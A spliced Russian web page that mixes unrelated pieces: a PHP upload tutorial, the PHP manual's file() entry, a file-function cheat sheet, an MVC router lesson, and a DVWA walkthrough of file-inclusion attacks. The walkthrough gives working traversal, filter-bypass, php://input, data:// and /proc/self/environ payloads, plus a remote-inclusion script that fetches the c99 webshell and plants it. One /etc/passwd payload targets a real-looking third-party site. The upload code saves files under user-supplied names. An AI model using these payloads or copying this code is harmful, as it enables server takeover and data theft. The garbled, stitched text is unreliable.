Вымышленный view php file. Передача данных с контроллера на View в приложении PHP MVC. Обход фильтрации при удалённом внедрении файлов

Как загрузить файл на сервер используя PHP? В этой статье мы подробно рассмотрим этот вопрос с примерами.

HTML-форма для отправки файла

Первое, что нужно знать для загрузка файлов на сервер - это особенности HTML-форм, которые отправляют файл.

Вот пример HTML-кода такой формы:

Форма для загрузки файлов



Что уникального в этой форме:

  1. Тег form должен обязательно содержать атрибут enctype="multipart/form-data . Именноо этот атрибут указывает на то, что форма будет передавать файл. По умолчанию атрибут enctype имеет значение application/x-www-form-urlencoded .
  2. Форма должна содержать скрытый атрибут (type="hidden") с именем MAX_FILE_SIZE в значении которого (value) указывается размер файла. Теоретически, браузеры должны сообщать о том, что файл превышает допустимые размеры, но на практике браузеры не поддерживают это. Я думаю, что этот атрибут можно не указывать.
  3. Для выбора передаваемого файла служит тег input , у которого атрибут type="file" .

После того, как сервер получил HTTP-запрос от такой формы, он записывает файл во временную папку на сервере.

Если хотите чтобы файл на этом этапе сохранялся в другой каталог, укажите его в директиве upload_tmp_dir файла php.ini.

Для перемещения загруженного файла в новое место используется функция move_uploaded_file .

Но перед тем, как начать работать с этой функцией, мы должны изучить двумерный массив $_FILES , через который мы получаем доступ к характеристикам загруженного файла.

Итак, после того, как скрипт получил данные формы с переданным файлом, файл он записал в специальную папку, а данные о файле записал в двумерный массив $_FILES .

Давайте рассмотрим пример, который выводит содержимое массива $_FILES на экран.

Форма для загрузки файлов


"; } else { echo "
", print_r($_FILES), "
"; } ?>

Вот что мы получим в результате работы этого скрипта:

Рис.1. Массив $_FILES.

Теперь давайте разберём, что содержится в этом массиве.

В нашем двумерном массиве $_FILES есть один элемент filename . Это значение поля name из элемента формы:

Данные для этого файла:

  • $_FILES["filename"]["name"] - имя файла;
  • $_FILES["filename"]["type"] - тип файла;
  • $_FILES["filename"]["tmp_name"] - полный путь к временному каталогу на диске;
  • $_FILES["filename"]["error"] - содержит код ошибки, который это 0, если операция прошла успешно;
  • $_FILES["filename"]["size"] - размер файла.

Можно было бы в форме указать два поля для файлов, например так:


В этом случае наш массив выглядел бы так:


Рис.2. Массив $_FILES.

Итак, теперь мы знаем как устроен массив $_FILES и следующий шаг - положить полученный файл в нужное нам место.

Функция move_uploaded_file

Как я уже писал, для перемещения загруженного файла в новое место используется функция move_uploaded_file .

Синтаксис функции move_uploaded_file:

move_uploaded_file (откуда переносить, куда переносить)

Функция move_uploaded_file возвращает булево значение:

  • TRUE - в случае успеха,
  • FALSE - если первый аргумент является загруженным файлом, но по каким-либо причинам не может быть перемещён в указанное место, в этом случае никаких действий не предпринимается.

Используем эту функцию в примере:

Форма для загрузки файлов


"; } else { move_uploaded_file ($_FILES["filename"]["tmp_name"], __DIR__ . DIRECTORY_SEPARATOR . $_FILES["filename"]["name"]); } ?>

Этот скрипт перемещает картинку в ту же папку, в которой он сам находится. Для этого мы используем встроенные в PHP константы для указания пути:

  • __DIR__ - одна из "волшебных" констант, содержит директорию файла.
  • DIRECTORY_SEPARATOR - предопределённая константа, содержащая разделитель пути. Для ОС Windows это «\», для ОС Linux и остальных - «/».

Внимание: Если результирующий файл уже существует, он будет перезаписан.

Функция is_uploaded_file

Ест ещё одна функция, которую нужно обязательно использовать при работе с загрузкой файлов на сервер. Это функция is_uploaded_file и она используется из соображений безопасности.

is_uploaded_file - определяет, был ли файл загружен при помощи HTTP POST и возвращает TRUE, если это так.

Использование этой функции целесообразно для удостоверения, что злонамеренный пользователь не пытается обмануть скрипт так, чтобы он работал с файлами, с которыми работать не должен - к примеру, /etc/passwd .

Обратите внимание: для правильной работы функции is_uploaded_file нужно передать путь к файлу на временном хранилище на сервере, то есть аргумент вида $_FILES["filename"]["tmp_name"] , - а вот имя закачиваемого файла на клиентской машине ($_FILES["filename"]["name"]) тут не подходит.

Наш конечный пример скрипта, обрабатывающего форму отправки файла, будет выглядеть так:

Форма для загрузки файлов


"; } else { // Проверяем загружен ли файл if(is_uploaded_file($_FILES["filename"]["tmp_name"])) { // Если файл загружен успешно, перемещаем его // из временной директории в конечную move_uploaded_file ($_FILES["filename"]["tmp_name"], __DIR__ . DIRECTORY_SEPARATOR . $_FILES["filename"]["name"]); } else { echo("Ошибка загрузки файла"); } } ?>

Ограничиваем размер файла

В некоторых случаях требуется ограничить размер файла, который может быть загружен на сервер. К примеру, чтобы разрешить загрузку на сервер только файлов с размером не более 3 Мбайт, в приведенном скрипте содержится код:

1024*3*1024) { echo("Размер файла превышает три мегабайта"); exit; } ... ?>

Максимальный размер загружаемого файла можно также задать при помощи директивы upload_max_filesize в файле в php.ini. Значение этой которой директивы по умолчанию равно 2 Мбайт:

$upload_max_filesize) ... ?>

Настройки php.ini для загрузки файлов на сервер

Итак, мы узнали про директиву upload_max_filesize файла php.ini которая устанавливает максимальный размер загружаемого файла. Какие ещё директивы файла php.ini отвечают за загрузку файлов на сервер?

Кстати, если Вы хотите узнать, где расположен Ваш файл php.ini, выполните скриптик:

Итак, список директив файла php.ini:

  • file_uploads - возможность запретить или разрешить загрузку файлов на сервер в целом, по умолчанию разрешена (значение On).
  • post_max_size - общее ограничение сверху на размер данных, передаваемых в POST запросе. Если Вам необходимо передавать несколько файлов одновременно, или работать с большими файлами, измените значение этой директивы. Значение по умолчанию 8Мб.
  • upload_max_filesize - уже рассмотренная нами директива. Не забывайте при необходимости также менять post_max_size .
  • upload_tmp_dir - временная директория на сервере, в которую будут помещаться все загружаемые файлы.

Это всё, что я хотел сказать Вам по теме "Загрузка файлов на сервер в PHP".

Иногда внедрение файлов называют инклудом, иногда рассматривают как часть PHP инъекции (инъекция кода). Последнее не совсем верно, поскольку уязвимость внедрение файлов не обязательно связана с выполнением кода.

Уязвимость может возникнуть при использовании (в PHP) таких выражений как:

  • require_once,
  • include_once,
  • include,
  • require,

У каждого из них есть небольшие нюансы, но общее у них то, что они включают в программу файл и выполняют его. Проблему эти выражения могут вызвать в том случае, если в них передаётся пользовательский ввод, а программа недостаточно его отфильтровывает.

Кстати, да, это именно выражения, а не функции. Необзятельно писать так:

Require("somefile.php");

Более предпочтительным является такой вариант:

Require "somefile.php";

Но это отступление, которое не имеет никакого отношения к уязвимости.

Если инклуд файлов осуществляется выражениями require_once, include_once, include, require, то можно сказать, что в это же время имеет место и инъекция кода. Тем не менее, возможен инклуд файлов без выполнения кода на сервере. Например, веб-сайт меняет внешний вид исходя из выбранной пользователем темы. Название тем соответствует названию HTML файлов, которые считываются на сервере. В данной ситуации если запрос сформирован так, чтобы осуществить считывание файла, который для этого не предназначен (например, файл PHP), то вместо выполнения команд, будет выведен исходный код PHP.

Пользователь может указать в качестве файла для инклуда удалённый или локальный файл. На основании этого выделают две соответствующие разновидности:

  • локальное внедрение файлов
  • удалённое внедрение файлов

Опасность удалённого инклуда заключается в выполнении произвольного кода на уязвимом сервере. Обычно это используется для заражения бэкдором.

Опасность локального внедрения файлов заключается в том, что пользователь может вывести содержание файлов, на просмотр которых у него нет прав (исходные коды программ, системные файлы с настройками и паролями). Также при локальном инклуде возможно выполнение стороннего кода (например, для заражения бэкдором), если файл со злонамеренным кодом был предварительно загружен на сервер, либо использовался метод отравления логов, либо некоторые другие методы.

Локальный инклуд файлов является не менее опасным, чем внедрение удалённых файлов.

Эксплуатация локального внедрения файлов

Попробовать свои силы на этой уязвимости можно в Damn Vulnerable Web Application (DVWA) . Я использую Web Security Dojo , где DVWA уже установлен.

Начнём с низкого уровня (low DVWA Security ).

Перейдём на страницу File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Если в качестве аргумента переменной передаётся значение, похожее на имя файла (file1.php, file2.php), то можно предположить, что используется инклуд. Поскольку расширение файла .php , то вероятнее всего файл исполняется на сервере (т.е. возможно выполнить внедрение кода), а не просто выводится для показа.

В DVWA есть страничка http://localhost/dvwa/about.php, она расположена на два уровня вверх, попробуем просмотреть её таким образом: http://localhost/dvwa/vulnerabilities/fi/?page=../../about.php

Да, уязвимость локальный инклуд присутствует. При вводе не фильтруются переходы в верхние директории (../ ), список файлов для инклуда не является исчерпывающим (вместо предлагаемых file*.php мы выбрали about.php).

Иногда используются инклуд файлов, но адреса могут выглядеть, например, так http://localhost/dvwa/vulnerabilities/fi/?page=file1. В этом случае в скрипте может добавляется расширение и скрипт внедряет файл, название которого окончательно сформировано в скрипте. Как правило, уязвимость в таком виде трудно/невозможно эксплуатировать.

Часто в качестве примера эксплуатации локального инклуда файлов любят приводить что-то вроде такого:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Как видим, это сработало. Но поскольку веб-браузеры игнорируют /r/n (символы новой строки), то нам нужно открыть исходный код, чтобы записи стали читаемыми:

К сожалению, никаких паролей в файле /etc/passwd уже давно нет.

С сервера можно стянуть разные файлы настроек, SSL-сертификаты, в принципе, любой файл, который открыт для чтения всем пользователям или на чтения которого у веб-сервера достаточно прав:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Что касается общих хостингов, то иногда удаётся заглянуть в чужие папки (опять же, при неправильной настройке прав пользователей).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Задача усложняется тем, что нам нужно знать путь до файла.

Эксплуатация удалённого внедрения файлов

PHP очень гибкий и дружественный для разработчиков язык программирования. Команды внедрения (инклуда) файлов и некоторые другие прекрасно распознают и правильн6о обрабатывают не только локальные файлы, но и URL…

Попробуем вместо имени файла записать URL сайта https://сайт/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://сайт/

Посмотрите, как интересно получается:

Произошло следующее, PHP интерпретатор получил команду сделать инклуд файла/сайта https://сайт/. Он открыл/загрузил соответствующий адрес и отправил полученный код на выполнение в качестве PHP программы. Поскольку PHP выполняет только код, окружённый соответствующими тегами (в данном случае кода вообще не было), а всё остальное выводит как есть, то вся страница веб-сайта выведена как есть.

Конечно эта уязвимость интересна нам не тем, что мы через один сайт можем просматривать другие сайты.

  1. Генерируем / находим исходный код бэкдора
  2. Создаём правильный с точки зрения PHP файл для выполнения на сервере, который сохраняет исходный код бэкдора в PHP файл
  3. Сохраняем полученный код в ТЕКСТОВЫЙ файл
  4. Загружаем этот текстовый файл на подконтрольный сервер
  5. На уязвимом сервере с помощью удалённого инклуда файлов сохраняем наш бэкдор

Я выделил слово «текстовый» по той причине, что на подконтрольном нам сервере должен быть именно текстовый файл, который не должен исполнятся на нашем сервере. Наш сервер должен только показать его содержимое.

Для создания бэкдора можно воспользоваться Weevely , PhpSploit , а можно взять готовые решения. Давайте в этот раз воспользуемся готовым .

Я присвою переменной $backdoor исходный код бэкдора, который скачаю с гитхаба. Затем использую функцию file_put_contents для сохранения полученного исходного кода в файл c99unlimited.php.

Код, который я разместил в текстовом файле

$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";

Он доступен по адресу http://miloserdov.org/sec.txt

Теперь, используя удалённый инклуд, мы загружаем бэкдор на уязвимый сервер.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

Обратите внимание на надпись done!, она выведена скриптом, т.е. вероятно всё получилось.

Поскольку скрипт, который делает инклуд файлов размещён в каталоге http://localhost/dvwa/vulnerabilities/fi/, а наш новый файл с бэкдором должен был сохраниться с именем c99unlimited.php, то полный адрес бэкдора на уязвимом сервере должен быть: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

Проверяем:

Отлично, теперь у нас есть все функции, которые только могут понадобиться администратору веб-сервера… и тем, кто имеет доступ к его серверу.

Обход фильтрации при локальном инклуде файлов

Перейдём на средний уровень (medium ) безопасности (настраивается в DVWA Security ).

Если мы заглянем в исходный код (кнопка View Source ):

то мы увидим, что теперь символы ../ фильтруются. Это не даст нам перейти на каталоге выше того, в которой работает уязвимый скрипт.

Т.е. так уже ничего не получится:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

Давайте подумаем, как работает фильтрация в этом случае? Допустим, фильтруется слово «плохо », тогда строка вида

хорошо плохо хорошо

после фильтрации будет такой:

хорошо хорошо

А если вставить такую строку

пло плохо хо

то после фильтрации (будет удалено «плохо ») получится

плохо

В ../ мы вставляем посередине ещё раз ../ , получается …/./

Пробуем такой адрес http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/my.cnf

Сработало!

Ещё одним вариантом обхода может быть кодировка символов в шестнадцатеричную кодировку, пример такой строки:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

«../» может заменяться на «%2E%2E%2f».

Также практикуется двойное кодирование в шестнадцатеричную кодировку, при котором «../» заменяется на «%252E%252E%252F»

Локальный инклуд файлов при добавлении расширения в скрипте

Если код с инклудом файлов имеет вид:

Т.е. к любому пользовательскому вводу добавляется расширение.php или какое-то другое, то это не позволяет сформировать запрос таким образом, чтобы произвести атаку.

Имеются несколько техник, которые предназначены для отбрасывания расширения, но их можно считать устаревшими, поскольку они работают на PHP 5.3, да и то не всех версий. Тем не менее, администраторы веб-серверов клинически консервативны и предпочитают ничего не трогать, если оно работает. Т.е. шанс встретить сервер с очень древней версией PHP есть, и об этих методиках следует знать.

Использование нулевого байта %00 (null byte)

В конце запроса для игнорирования расширения добавляется нулевой байт:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

Второй метод называется атака обрезкой пути. Суть в том, что PHP обрезает пути длиннее 4096 байт. При этом PHP правильно открывает файл, даже если на конце его имени имеются слеши и точки. Если в качестве параметра передать что-то вроде?param1=../../../../etc/passwd/./././././<…> (где./ повторяется много тысяч раз), то конец файла вместе с расширением (которое прибавил скрипт, в результате чего имя файла стало includes/../../../../etc/passwd/./././././<…>.php) будет отброшено. И в качестве имени файла получится includes/../../../../etc/passwd/./././././<…>. А поскольку PHP не смущают конечные слеши и./ на конце файла, он их просто игнорирует, то в общей сложности PHP откроет файл по пути includes/../../../../etc/passwd.

Обход фильтрации при удалённом внедрении файлов

Как мы уже видели в исходном коде, на среднем уровне безопасности также отфильтровываются http:// и https://.

Теперь http://localhost/dvwa/vulnerabilities/fi/?. Мы воспользуемся в точности тем же приёмом, что и для обхода фильтрации при локальном инклуде. Сформированный запрос:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://сайт/

И ещё обратите внимание, что не фильтруется, например ftp , т.е. такой вариант сработал бы вообще без всяких ухищрений:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://сайт/

Получение исходного кода PHP скриптов при инклуде файлов с php://filter

Для этого трюка не требуется удалённый инклуд файлов. Будет использоваться своего рода мета-обёртка php://filter .

Допустим, мы хотим увидеть исходный код файла file1.php, тогда для нашей ситуации запрос будет составлен так:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

Обратите внимания на бессмысленную строчку из букв и цифр - это исходный код файла file1.php в кодировке base64. Поскольку это base64, то поддерживаются и бинарные файлы.

Раскодируем файл:

Удалённое выполнение кода с php://input

Это не похоже на внедрение файлов и для этого опять не требуется загружать файлы.

Для помощи я воспользуюсь расширением FireFox , вы также можете использовать его или любую другую программу (например, curl) умеющую передавать данные методом POST.

php://input имеет доступ к сырому телу HTTP запроса, чтобы понять, что include("php://input") делает, откройте страницу

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

А в теле запроса отправьте правильный PHP код (например, с помощью метода POST). Это позволит вам выполнить любую разрешённую на удалённом сервере функцию!

Удалённое выполнение кода с data://

Кроме этого, PHP поддерживает URL-схему data:// Вы можете разместить код прямо в параметре GET! Следующий тест не требует каких-либо специальных инструментов, просто обычный браузер для выполнения атаки.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

Некоторые файерволы веб-приложений могут заметить подозрительную строку в URL и заблокировать злой запрос. Но есть способ зашифровать строку как минимум в base64 кодировку:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Выполнение произвольных команд с /proc/self/environ

/proc/self/environ - это хранилище переменных процесса. Если у процесса Apache достаточно прав для доступа к нему, то при открытии веб-страницы, на которой присутствует инклуд с подобным URL,

www.website.com/view.php?page=../../../../../proc/self/environ

выведет что-то вроде

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Обратите внимание на HTTP_USER_AGENT . Вместо него можно подставить правильный PHP код, который будет выполнен на удалённом сервере.

Травление и внедрение логов при локальном инклуде файлов

К сожалению, на последних версиях Apache этот метод больше не работает.

Его суть заключается в том, что в логи веб-сервера внедряется код атакующего. Это можно сделать путём подмены User-Agent , либо даже просто передачей в GET параметре.

Статичное внедрение удалённого файла

Пример статичного инклуда:

Эксплуатировать статичный инклуд можно в очень экзотичных ситуациях. Для внедрения злонамеренного кода необходимо осуществить атаку человек-посередине между двумя серверами: один из которых хостит веб-приложение, использующим инклуд, а второй хостит файл, используемый для инклуда.

(PHP 4, PHP 5, PHP 7)

file — Читает содержимое файла и помещает его в массив

Описание

Array file (string $filename [, int $flags = 0 [, resource $context ]])

Читает содержимое файла и помещает его в массив.

Замечание :

Можно также использовать функцию file_get_contents() для получения файла в виде строки.

Список параметров

Путь к файлу.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers . Смотрите более подробную информацию об определении имени файла в описании функции fopen() . Смотрите также список поддерживаемых оберток URL, их возможности, замечания по использованию и список предопределенных констант в Поддерживаемые протоколы и обработчики (wrappers) .

В качестве необязательного параметра flags может можно указать одну или более следующих констант: FILE_USE_INCLUDE_PATH Ищет файл в include_path . FILE_IGNORE_NEW_LINES Не добавлять новую строку к концу каждого элемента массива FILE_SKIP_EMPTY_LINES Пропускать пустые строки

Context

Ресурс контекста, созданный функцией stream_context_create() .

Замечание : Поддержка контекста была добавлена в PHP 5.0.0. Для описания контекстов смотрите раздел Потоки .

Возвращаемые значения

Возвращает файл в виде массива. Каждый элемент массива соответствует строке файла, с символами новой строки включительно. В случае ошибки file() возвращает FALSE .

Замечание :

Каждая строка в полученном массиве будет завершаться символами конца строки (если вы не указали флаг FILE_IGNORE_NEW_LINES ), поэтому, если вам будет нужно избавиться от этих символов, вы можете использовать функцию rtrim() .

Замечание : Если у вас возникают проблемы с распознаванием PHP концов строк при чтении или создании файлов на Macintosh-совместимом компьютере, включение опции auto_detect_line_endings может помочь решить проблему.

Список изменений

Примеры

Пример #1 Пример использования file()

// Получает содержимое файла в виде массива. В данном примере мы используем
// обращение по протоколу HTTP для получения HTML-кода с удаленного сервера.
$lines = file ("http://www.example.com/" );

// Осуществим проход массива и выведем содержимое в виде HTML-кода вместе с номерами строк.
foreach ($lines as $line_num => $line ) {
echo "Строка # { $line_num } : " . htmlspecialchars ($line ) . "
\n" ;
}

// Второй пример. Получим содержание web-страницы в виде одной строки.
// См.также описание функции file_get_contents().
$html = implode ("" , file ("http://www.example.com/" ));

// Используем необязательный параметр flags (начиная с PHP 5)
$trimmed = file ("somefile.txt" , FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES );
?>

Примечания

Внимание

При использовании SSL, Microsoft IIS нарушает протокол, закрывая соединение без отправки индикатора close_notify . PHP сообщит об этом как "SSL: Fatal Protocol Error" в тот момент, когда вы достигнете конца данных. Чтобы обойти это, вы должны установить error_reporting на уровень, исключающий E_WARNING. PHP версий 4.3.7 и старше умеет определять, что на стороне сервера находится проблемный IIS при открытии потока с помощью обертки https:// и не выводит предупреждение. Если вы используете fsockopen() для создания ssl:// сокета, вы сами отвечаете за определение и подавление этого предупреждения.

PHP

file_exists("test.txt")//Существует ли файл? filesize("test.txt");//Узнаем размер файла //Возвращается временная метка: fileatime("test.txt");//Дата последнего обращения к файлу //date("d M Y", $atime); filemtime("test.txt");//Дата изменения файла //date("d M Y", $mtime); filectime("test.txt");//Дата создания файла(Windows) //date("d M Y", $ctime);

Файлы: режимы работы

PHP

resource fopen (string filename, string mode) // resource - возвращает указатель на файл в случае успешной работы, или FALSE в случае ошибки
Режим работы Описание
r открыть файл только для чтения;
r+ открыть файл для чтения и записи;
w открыть файл только для записи. Если он существует, то текущее содержимое файла уничтожается. Текущая позиция устанавливается в начало;
w+ открыть файл для чтения и для записи. Если он существует, то текущее содержимое файла уничтожается. Текущая позиция устанавливается в начало;
а открыть файл для записи. Текущая позиция устанавливается в конец файла;
а+ открыть файл для чтения и записи. Текущая позиция устанавливается в конец файла;
b обрабатывать бинарный файл. Этот флаг необходим при работе с бинарными файлами в ОС Windows.

Открытие и закрытие файлов в PHP

PHP

$fi = fopen("test.html", "w+") or die("Ошибка"); //Примеры $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Закрываем fclose($fi)

Чтение файлов в PHP

PHP

//Читаем файл fread(int fi, int length) $str = fread($fi, 5); // Читаем первые 5 символов echo $str; // так как курсор передвинулся $str = fread($fi, 12); // Читаем следующие 12 символов echo $str; fgets(int fi[, int length]) // Прочитать строку из файла fgetss(int fi, int length [, string allowable]) // Прочитать строку из файла и отбросить HTML-теги // string allowable - теги, которые необходимо оставить fgetc(int fi) //Считывает символ из файла

Изначально Запись будет происходить в начало файла, путем перезаписывания существующих данных, если они есть. Поэтому, если вам нужно записать что-то в конец файла, нужно установить соответствующий режим чтения , например, a+ .

Манипуляции с курсором в файлах PHP

PHP

int fseek(int fi, int offset [, int whence]) //Установка курсора // int fi - указатель на файл //offset - количество символов, на которые нужно передвинуться. //whence: //SEEK_SET - движение начинается с начала файла; //SEEK_CUR - движение идет от текущей позиции; //SEEK_END - движение идет от конца файла. fseek($fi, -10, SEEK_END); //Читаем последние 10 знаков $s = fread($fi, 10); $pos = ftell($fi); //Узнаем текущую позицию rewind($f)//сброс курсора bool feof($f) //конец файла

Прямая работа с файлами (данными) в PHP

PHP

array file(string filename) // Получаем содержимое файла в виде массива //Еще один вариант прямой работы с данными file_get_contents(string filename) //Чтение (получаем весь файл одной строкой) //Запись в файл (изначально перезаписывается) file_put_contents(string filename, mixed data[,int flag]); //FILE_APPEND // Запись в конец файла: file_put_contents("test.txt", "данные", FILE_APPEND); //Если записать массив, $array = array("I", "live"); file_put_contents("test.txt",$array); //то получим "Ilive"

Управление файлами в php

PHP

copy(string source, string destination); // Копирование файла rename(str oldname, str newname); // Переименование файла unlink(string filename); // Удаление файла

Загрузка файлов на сервер PHP

//Настрoйки PHP.ini file_uploads (on|off) // разрешаем.запрещаем загрузку файлов upload_tmp_dir // временная папка для загружаемых файлов. по умолчания временная папка upload_max_filesize (default = 2 Mb) // макс. размер загружаемого файла post_max_size // общий размер посылаемый формы (должен быть больше upload_max_filesize) //Простая загрузка

HTML

Работаем с файлами на сервере

PHP

//Принимаем данные $tmp = $_FILES["userfile"]["tmp_name"]; $name = $_FILES["userfile"]["name"]; //Перемещаем файл move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // перенаправляем файл в папку upload // относительно текущего файла //Что в массиве $_FILES $_FILES["userfile"]["name"] // имя файла, например, test.html $_FILES["userfile"]["tmp_name"] // временное имя файла (путь) $_FILES["userfile"]["size"] // размер файла $_FILES["userfile"]["type"] // тип файла $_FILES["userfile"]["error"] // 0 - ошибок нет, число - есть

Из паттернов меня устраивало mvc, registry. Для запросов я написал небольшой слой абстракции, для роутинга — свою функцию парсинга запроса.
Структура веб-приложения будет такой

Папка application

Входной файл index.php подключает bootstrap.php. Тот в свою очередь подключает ядро, конфиг-файл, некоторые библиотеки и запускает маршрутизатор.

Use Core\Route; require_once "lib/registry.php"; require_once "config.php"; require_once "lib/datebase.php"; require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; $router = new Route(); $router->start(); // запускаем маршрутизатор

Реестр устроен просто:

Namespace Lib; class Lib_Registry { static private $data = array(); static public function set($key, $value) { self::$data[$key] = $value; } static public function get($key) { return isset(self::$data[$key]) ? self::$data[$key] : null; } static public function remove($key) { if (isset(self::$data[$key])) { unset(self::$data[$key]); } } }

Здесь геттеры и сеттеры для сохранения глобальных значений.

Use Lib\Lib_Registry; define("PATH_SITE", $_SERVER["DOCUMENT_ROOT"]); define("HOST", "localhost"); define("USER", "root"); define("PASSWORD", "mypass"); define("NAME_BD", "articles"); define ("DS", DIRECTORY_SEPARATOR); $mysqli = new mysqli(HOST, USER, PASSWORD,NAME_BD)or die("Невозможно установить соединение c базой данных".$mysqli->connect_errno()); Lib_Registry::set("mysqli",$mysqli); $mysqli->query("SET names "utf8""); //база устанавливаем кодировку данных в базе

Запрос вида http://domen.ru/articles/index преобразуется в Контролллер — Экшн. Название контролллера и экшна задается в стиле Zend framework, camel case — Controller_Name , function action_name (). Файл контролллера, модели, въюхи должен совпадать с названием контроллера в нижнем регистре без префикса Controller_ или Model_

Класс модели задается так же — Model_Name , файл вьюхи мы уже выяснили — по имени экшна или явно в методе generate(name )

Так как в перспективе у нас создание админки — создадим папки client и admin . Кстати наш маршрутизатор будет учитывать вложенные папки, т.е. можно будет создать подпапки в контроллерах (напр. /about/contacts/contacts.php ) и обратиться к нему по его пути /about/contacts/
Итак, мы запустили маршрутизатор

/** * */ public function start() { // catch AJAX request if ($this->getIsAjaxRequest()) { } session_start(); $this->dispatch(); } /** * */ public function dispatch(){ // диспетчер получает файл совпадающий с названием контроллера, экшн и аргументы $this->getDirections($file, $controller, $action, $args); /* ************* include Controller - Model */ if (is_readable($file) == false) { die ("File $file 404 Not Found"); } // подключили контроллер include ($file); $model = str_replace("controller", "model", $file); // Model additional if(is_readable($model)){ // подключаем модель include($model); } /* ****** получаем класс ** */ $controller = ucfirst($controller); $class = ucfirst($this->namespace)."\Controller_" . $controller; // создаем экземпляр $controller = new $class($this->controller_path_folder); if (is_callable(array($controller, $action)) == false) { die ("Action $action 404 Not Found"); } // вызываем экшн $controller->$action($args); }

Диспетчер вызывает метод getDirections(), т.е. получить директивы запроса. По умолчанию дефолтный контроллер — articles, экшн — index.

/** * @param $file * @param $controller * @param $action * @param $args */ private function getDirections(&$file, &$controller, &$action, &$args) { $route = (empty($_SERVER["REQUEST_URI"])) ? "" : $_SERVER["REQUEST_URI"]; unset($_SERVER["REQUEST_URI"]); $route = trim($route, "/\\"); $controller_path = $this->path; if (empty($route)) { /* ******************* Default directions ******** */ $controller = "articles"; $action = "action_index"; $controller_path = $this->controller_path_folder = "application/controllers/$this->namespace/"; $file = $controller_path.$controller.".php"; } else { $parts = explode("/", $route); /* ************** namespace ********** */ if($parts == "admin") { $this->namespace = "admin"; array_shift($parts); } /* ***************** folders & subfolders ******* */ $fullpath = $this->controller_path_folder = $controller_path . $this->namespace; foreach ($parts as $part) { $fullpath .= DS . $part; if (is_dir($fullpath)) { array_shift($parts); continue; } if (is_file($fullpath . ".php")) { array_shift($parts); $file = "$fullpath.php"; break; } } /* *************** Controller, Action, Params ******** */ if(!isset($part)) $part = "articles"; $controller = $part; if(!$file) $file = $fullpath."/$part.php"; $action = array_shift($parts); if(!$action) $action = "action_index"; else $action = "action_$action"; $args = $parts; } }

В следующем уроке рассмотрим создание базовых контроллера, моделей и вьюх, напишем запросы.

Файлы 1-го урока здесь

https://github.com/vaajnur/create_php_application
Ветка мастер будет 1-м уроков, далее для каждого урока одноименная ветка — lesson1, lesson2, 3..

Читайте также: